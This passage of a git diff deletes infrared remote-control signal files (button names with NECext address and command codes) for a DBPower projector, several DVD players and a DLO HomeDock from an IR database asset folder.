-# -name: KEY_6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir deleted file mode 100644 index dc27e2d9b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: down -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: vol_up -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: vol_down -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: power_on_off_toggle -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: source -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir deleted file mode 100644 index 1b9009eb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: l/r -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: f.bwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir deleted file mode 100644 index 18f0d3cc4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: PROGSCAN/NORMAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: A/B_REPEAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir deleted file mode 100644 index 3901430ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: lr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: repeat2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir deleted file mode 100644 index c29cb771f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: SCREEN_SAVER_ON -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 10 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 1A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 1A 00 00 00 -# -name: DOCK_MODE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 20 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 26 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 29 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 29 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 2E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 2E 00 00 00 -# -name: SHUFFLE_ON -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 30 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 38 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 38 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 40 00 00 00 -# -name: SCREENSAVER_OFF -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 48 00 00 00 -# -name: HOME_PAGE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 50 00 00 00 -# -name: IPOD_MODE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 60 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 62 00 00 00 -# -name: VIDEO_MODE/OSD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6A 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6A 00 00 00 -# -name: VIDEO_MODE/_OSD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6A 00 00 00 -# -name: PREVIOUS_PLAYLIST -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6E 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 6E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 80 00 00 00 -# -name: SCREEN_SAVER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 83 00 00 00 -# -name: SCREENSAVER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 83 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 92 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 92 00 00 00 -# -name: NEXT_PLAYLIST -type: parsed -protocol: NECext -address: EE 87 00 00 -command: A1 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: A1 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: A1 00 00 00 -# -name: SHUFFLE_OFF -type: parsed -protocol: NECext -address: EE 87 00 00 -command: E0 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: E6 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir deleted file mode 100644 index bf6fefcba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: Angle/Rotate -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir deleted file mode 100644 index 3b172542a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Resume -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: >|| -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_3D(\*) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: View -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: RAN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: R/L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir deleted file mode 100644 index dff6377ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir 